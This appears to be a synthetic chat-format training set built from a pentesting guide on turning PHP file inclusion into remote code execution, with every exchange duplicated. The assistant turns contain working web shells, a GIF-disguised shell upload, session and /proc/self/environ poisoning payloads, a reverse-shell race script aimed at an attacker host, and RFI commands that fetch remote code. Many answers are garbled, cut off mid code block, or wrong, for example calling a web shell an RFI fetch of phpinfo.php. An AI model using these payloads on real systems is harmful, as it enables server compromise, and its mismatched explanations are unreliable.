[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `<php shell_exec('whoami'); ?`?

[Assistant] This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `<php shell_exec('whoami'); ?`?

Response: This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Exploit the RFI to fetch the remote phpinfo.php file?

[Assistant] <php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: <php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>`?

[Assistant] This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>`?

Response: This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain file upload - Image Upload

[Assistant]
> [!TIP]
> The prerequisite for this method is to be able to upload a file.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP]
> The prerequisite for this method is to be able to upload a file.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for file upload - Image Upload

[Assistant]
> [!TIP]
> The prerequisite for this method is to be able to upload a file.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for file upload - Image Upload

Response:
> [!TIP]
> The prerequisite for this method is to be able to upload a file.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of GIF8 is for magic bytes

[Assistant]
echo 'GIF8<?php system($_GET["cmd"]); ?' > shell.gif

curl --user-agent "PENTEST" "$URL/?parameter=/path/to/image/shell.gif&cmd=id"
```

> [!TIP]
> Other LFI to RCE via file upload methods may be found later on the chapter LFI to RCE (via php wrappers).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of GIF8 is for magic bytes

Response:
echo 'GIF8<?php system($_GET["cmd"]); ?' > shell.gif

curl --user-agent "PENTEST" "$URL/?parameter=/path/to/image/shell.gif&cmd=id"
```

> [!TIP]
> Other LFI to RCE via file upload methods may be found later on the chapter LFI to RCE (via php wrappers).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute GIF8 is for magic bytes?

[Assistant]
echo 'GIF8<?php system($_GET["cmd"]); ?' > shell.gif

curl --user-agent "PENTEST" "$URL/?parameter=/path/to/image/shell.gif&cmd=id"
```

> [!TIP]
> Other LFI to RCE via file upload methods may be found later on the chapter LFI to RCE (via php wrappers).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
echo 'GIF8<?php system($_GET["cmd"]); ?' > shell.gif

curl --user-agent "PENTEST" "$URL/?parameter=/path/to/image/shell.gif&cmd=id"
```

> [!TIP]
> Other LFI to RCE via file upload methods may be found later on the chapter LFI to RCE (via php wrappers).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe PHP session in the context of penetration testing

[Assistant]
When a web server wants to handle sessions, it can use PHP session cookies (PHPSESSID).

1. Finding where the sessions are stored.

 Examples:

 * Linux : /var/lib/php5/sess_[PHPSESSID]
 * Linux : /var/lib/php/sessions/sess_[PHPSESSID]
 * Windows : C:\Windows\Temp\
2. Displaying a PHPSESSID to see if any parameter is reflected inside.

 Example:

 * The user name for the session (from a parameter called user)
 * The language used by the user (from a parameter called lang)

 _Exemple :_

``http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";
`

3\. Inject some PHP code in the reflected parameter in the session

`http
GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2
`

4\. Call the session filewith the vulnerable parameter to trigger a command exection

`http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe PHP session in the context of penetration testing

Response:
When a web server wants to handle sessions, it can use PHP session cookies (PHPSESSID).

1. Finding where the sessions are stored.

 Examples:

 * Linux : /var/lib/php5/sess_[PHPSESSID]
 * Linux : /var/lib/php/sessions/sess_[PHPSESSID]
 * Windows : C:\Windows\Temp\
2. Displaying a PHPSESSID to see if any parameter is reflected inside.

 Example:

 * The user name for the session (from a parameter called user)
 * The language used by the user (from a parameter called lang)

 _Exemple :_

``http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";
`

3\. Inject some PHP code in the reflected parameter in the session

`http
GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2
`

4\. Call the session filewith the vulnerable parameter to trigger a command exection

`http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through PHP session

[Assistant]
When a web server wants to handle sessions, it can use PHP session cookies (PHPSESSID).

1. Finding where the sessions are stored.

 Examples:

 * Linux : /var/lib/php5/sess_[PHPSESSID]
 * Linux : /var/lib/php/sessions/sess_[PHPSESSID]
 * Windows : C:\Windows\Temp\
2. Displaying a PHPSESSID to see if any parameter is reflected inside.

 Example:

 * The user name for the session (from a parameter called user)
 * The language used by the user (from a parameter called lang)

 _Exemple :_

``http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";
`

3\. Inject some PHP code in the reflected parameter in the session

`http
GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2
`

4\. Call the session filewith the vulnerable parameter to trigger a command exection

`http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
When a web server wants to handle sessions, it can use PHP session cookies (PHPSESSID).

1. Finding where the sessions are stored.

 Examples:

 * Linux : /var/lib/php5/sess_[PHPSESSID]
 * Linux : /var/lib/php/sessions/sess_[PHPSESSID]
 * Windows : C:\Windows\Temp\
2. Displaying a PHPSESSID to see if any parameter is reflected inside.

 Example:

 * The user name for the session (from a parameter called user)
 * The language used by the user (from a parameter called lang)

 _Exemple :_

``http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";
`

3\. Inject some PHP code in the reflected parameter in the session

`http
GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2
`

4\. Call the session filewith the vulnerable parameter to trigger a command exection

`http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the GET command to php session

[Assistant]
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for PHP session?

[Assistant]
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2`?

[Assistant] This command is used for php session. PHP session

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2`?

Response: This command is used for php session. PHP session


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the GET syntax for php session?

[Assistant] GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through PHP session

[Assistant] GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2`?

[Assistant] This command is used for php session. PHP session

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2`?

Response: This command is used for php session. PHP session


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the GET command for php session

[Assistant]
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for PHP session

[Assistant]
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for PHP session

Response:
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2`?

[Assistant] This command is used for php session. PHP session

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2`?

Response: This command is used for php session. PHP session


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does phpinfo work?

[Assistant]
> [!TIP]
> The prerequisites for this method are :
>
> * having file_uploads=on set in the PHP configuration file
> * having access to the output of the phpinfo() function

When file_uploads=on is set in the PHP configuration file, it is possible to upload a file by POSTing it on any PHP file (RFC1867). This file is put to a temporary location on the server and deleted after the HTTP request is fully processed.

The aim of the attack is to POST a PHP reverse shell on the server and delay the processing of the request by adding very long headers to it. This gives enough time to find out the temporary location of the reverse shell using the output of the phpinfo() function and including it via the LFI before it gets removed.

The lfito_rce (Python2) script implements this attack.

``bash
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"
``

The "LFI with phpinfo() assistance" research paper from Insomnia Security details this attack.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP]
> The prerequisites for this method are :
>
> * having file_uploads=on set in the PHP configuration file
> * having access to the output of the phpinfo() function

When file_uploads=on is set in the PHP configuration file, it is possible to upload a file by POSTing it on any PHP file (RFC1867). This file is put to a temporary location on the server and deleted after the HTTP request is fully processed.

The aim of the attack is to POST a PHP reverse shell on the server and delay the processing of the request by adding very long headers to it. This gives enough time to find out the temporary location of the reverse shell using the output of the phpinfo() function and including it via the LFI before it gets removed.

The lfito_rce (Python2) script implements this attack.

``bash
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"
``

The "LFI with phpinfo() assistance" research paper from Insomnia Security details this attack.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for phpinfo?

[Assistant]
> [!TIP]
> The prerequisites for this method are :
>
> * having file_uploads=on set in the PHP configuration file
> * having access to the output of the phpinfo() function

When file_uploads=on is set in the PHP configuration file, it is possible to upload a file by POSTing it on any PHP file (RFC1867). This file is put to a temporary location on the server and deleted after the HTTP request is fully processed.

The aim of the attack is to POST a PHP reverse shell on the server and delay the processing of the request by adding very long headers to it. This gives enough time to find out the temporary location of the reverse shell using the output of the phpinfo() function and including it via the LFI before it gets removed.

The lfito_rce (Python2) script implements this attack.

``bash
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"
``

The "LFI with phpinfo() assistance" research paper from Insomnia Security details this attack.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> The prerequisites for this method are :
>
> * having file_uploads=on set in the PHP configuration file
> * having access to the output of the phpinfo() function

When file_uploads=on is set in the PHP configuration file, it is possible to upload a file by POSTing it on any PHP file (RFC1867). This file is put to a temporary location on the server and deleted after the HTTP request is fully processed.

The aim of the attack is to POST a PHP reverse shell on the server and delay the processing of the request by adding very long headers to it. This gives enough time to find out the temporary location of the reverse shell using the output of the phpinfo() function and including it via the LFI before it gets removed.

The lfito_rce (Python2) script implements this attack.

``bash
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"
``

The "LFI with phpinfo() assistance" research paper from Insomnia Security details this attack.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use There for phpinfo?

[Assistant]
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for phpinfo

[Assistant]
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
#There is no requirements.txt, the dependencies have to be installed manually
python lfito_rce.py -l "http://$URL/?page=" --lhost=$attackerIP --lport=$attackerPORT -i "http://$URL/phpinfo.php"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about /proc

[Assistant]
::: details /proc/self/environ
Testers can abuse a process created due to a request. The payload is injected in the User-Agent header.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
::: details /proc/self/environ
Testers can abuse a process created due to a request. The payload is injected in the User-Agent header.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform /proc?

[Assistant]
::: details /proc/self/environ
Testers can abuse a process created due to a request. The payload is injected in the User-Agent header.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
::: details /proc/self/environ
Testers can abuse a process created due to a request. The payload is injected in the User-Agent header.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Accessing the payload via LFI work?

[Assistant]
curl --user-agent "<?php passthru($_GET['cmd']); ?>" $URL/?parameter=../../../proc/self/environ
```
:::

::: details 🛠 /proc/*/fd

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Accessing the payload via LFI work?

Response:
curl --user-agent "<?php passthru($_GET['cmd']); ?>" $URL/?parameter=../../../proc/self/environ
```
:::

::: details 🛠 /proc/*/fd

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Accessing the payload via LFI?

[Assistant]
curl --user-agent "<?php passthru($_GET['cmd']); ?>" $URL/?parameter=../../../proc/self/environ
```
:::

::: details 🛠 /proc/*/fd

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Accessing the payload via LFI?

Response:
curl --user-agent "<?php passthru($_GET['cmd']); ?>" $URL/?parameter=../../../proc/self/environ
```
:::

::: details 🛠 /proc/*/fd

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain RFI to RCE - via HTTP

[Assistant]
The tester can host an arbitrary PHP code and access it through the HTTP protocol

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The tester can host an arbitrary PHP code and access it through the HTTP protocol

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through RFI to RCE - via HTTP

[Assistant]
The tester can host an arbitrary PHP code and access it through the HTTP protocol

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The tester can host an arbitrary PHP code and access it through the HTTP protocol

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Exploit the RFI to fetch the remote phpinfo.php file work?

[Assistant]
curl '$URL/?parameter=http://tester.server/phpinfo.php'
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Exploit the RFI to fetch the remote phpinfo.php file work?

Response:
curl '$URL/?parameter=http://tester.server/phpinfo.php'
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Exploit the RFI to fetch the remote phpinfo.php file

[Assistant]
curl '$URL/?parameter=http://tester.server/phpinfo.php'
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Exploit the RFI to fetch the remote phpinfo.php file

Response:
curl '$URL/?parameter=http://tester.server/phpinfo.php'
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of RFI to RCE - via FTP

[Assistant]
The tester can also host his arbitrary PHP code and access it through the FTP protocol. He can use the python library pyftpdlib to start a FTP server.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of RFI to RCE - via FTP

Response:
The tester can also host his arbitrary PHP code and access it through the FTP protocol. He can use the python library pyftpdlib to start a FTP server.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through RFI to RCE - via FTP

[Assistant]
The tester can also host his arbitrary PHP code and access it through the FTP protocol. He can use the python library pyftpdlib to start a FTP server.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The tester can also host his arbitrary PHP code and access it through the FTP protocol. He can use the python library pyftpdlib to start a FTP server.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Start FTP server in the context of penetration testing

[Assistant]
sudo python3 -m pyftpdlib -p 21                                                                                1 ↵ alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Start FTP server in the context of penetration testing

Response:
sudo python3 -m pyftpdlib -p 21                                                                                1 ↵ alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Start FTP server?

[Assistant]
sudo python3 -m pyftpdlib -p 21                                                                                1 ↵ alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
sudo python3 -m pyftpdlib -p 21                                                                                1 ↵ alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Exploit the RFI to fetch the remote phpinfo.php file?

[Assistant]
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'
``

> [!TIP]
> PHP uses the anonymous credentials to authenticate to the FTP server. If the tester needs to use custom credentials, he can authenticate as follows :
>
> curl '$URL/?parameter=ftp://user:pass@tester.server/phpinfo.php'`

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Exploit the RFI to fetch the remote phpinfo.php file?

Response:
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'
``

> [!TIP]
> PHP uses the anonymous credentials to authenticate to the FTP server. If the tester needs to use custom credentials, he can authenticate as follows :
>
> curl '$URL/?parameter=ftp://user:pass@tester.server/phpinfo.php'`


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Exploit the RFI to fetch the remote phpinfo.php file

[Assistant]
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'
``

> [!TIP]
> PHP uses the anonymous credentials to authenticate to the FTP server. If the tester needs to use custom credentials, he can authenticate as follows :
>
> curl '$URL/?parameter=ftp://user:pass@tester.server/phpinfo.php'`

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Exploit the RFI to fetch the remote phpinfo.php file

Response:
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'
``

> [!TIP]
> PHP uses the anonymous credentials to authenticate to the FTP server. If the tester needs to use custom credentials, he can authenticate as follows :
>
> curl '$URL/?parameter=ftp://user:pass@tester.server/phpinfo.php'`


